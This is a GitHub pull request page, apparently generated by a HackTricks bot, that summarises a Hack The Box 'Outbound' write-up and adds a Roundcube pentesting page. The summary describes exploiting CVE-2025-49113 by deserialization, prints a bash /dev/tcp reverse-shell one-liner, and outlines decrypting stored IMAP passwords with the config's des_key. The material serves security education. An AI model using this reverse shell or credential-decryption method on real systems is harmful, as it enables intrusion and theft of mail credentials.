Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
🤖 Automated Content Update
This PR was automatically generated by the HackTricks News Bot based on a technical blog post.
📝 Source Information
🎯 Content Summary
Target: HTB “Outbound” (Linux host + Dockerized Roundcube). Recon with nmap shows 22/SSH and 80/HTTP, nginx redirects to
http://mail.outbound.htbrunning Roundcube.Key service fingerprints: OpenSSH
9.6p1 Ubuntu 3ubuntu13.12, nginx1.24.0 (Ubuntu), TTL ~63 (Linux one hop), likely Ubuntu 24.04 LTS. Subdomain fuzzing (ffuf) found nothing extra. Hosts entry used:🔧 Technical Details
Roundcube authenticated deserialization RCE (CVE-2025-49113): After login, abuse the
_fromparameter inprogram/actions/settings/upload.phpby uploading a crafted image whose name and request data corrupt the PHP session and inject a serialized gadget. When Roundcube processes preferences/destructors, the gadget’s__destruct()executes an arbitrary command. Exploit reliability can be verified withsleep N; deliver shell viabash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'. Use a PHP PoC to generate the serialized payload.Server-side decryption of IMAP creds from Roundcube sessions: Roundcube stores current-user IMAP passwords in
session.vars, encrypted asBase64(IV || 3DES-CBC(plaintext))using the 24-byte$config['des_key']. Read DSN anddes_keyfromconfig.inc.php, then querysession...🤖 Agent ActionsI reviewed the repository and relevant sections in 80,443 - Pentesting Web, checked similar technology pages (WordPress, Zabbix, Joomla, Nginx, ISPConfig), and confirmed Roundcube was not yet covered.
Based on the blog and additional research (NVD and Roundcube vendor advisory), I added a new Roundcube page under Pentesting Web and linked it from the main Pentesting Web index.
What I implemented:
Created new page with concise, high-signal content for Roundcube security:
Linked Roundcube in the Pentesting Web index:
Files changed:
Why this is the right place and content:
References embedded in the new page:
No other related HackTricks pages were suitable to update instead of creating the new Roundcube page, and there was no existing Roundcube content.
This PR was automatically created by the HackTricks Feed Bot. Please review the changes carefully before merging.
📚 Repository Maintenance
All .md files have been checked for proper formatting (headers, includes, etc.).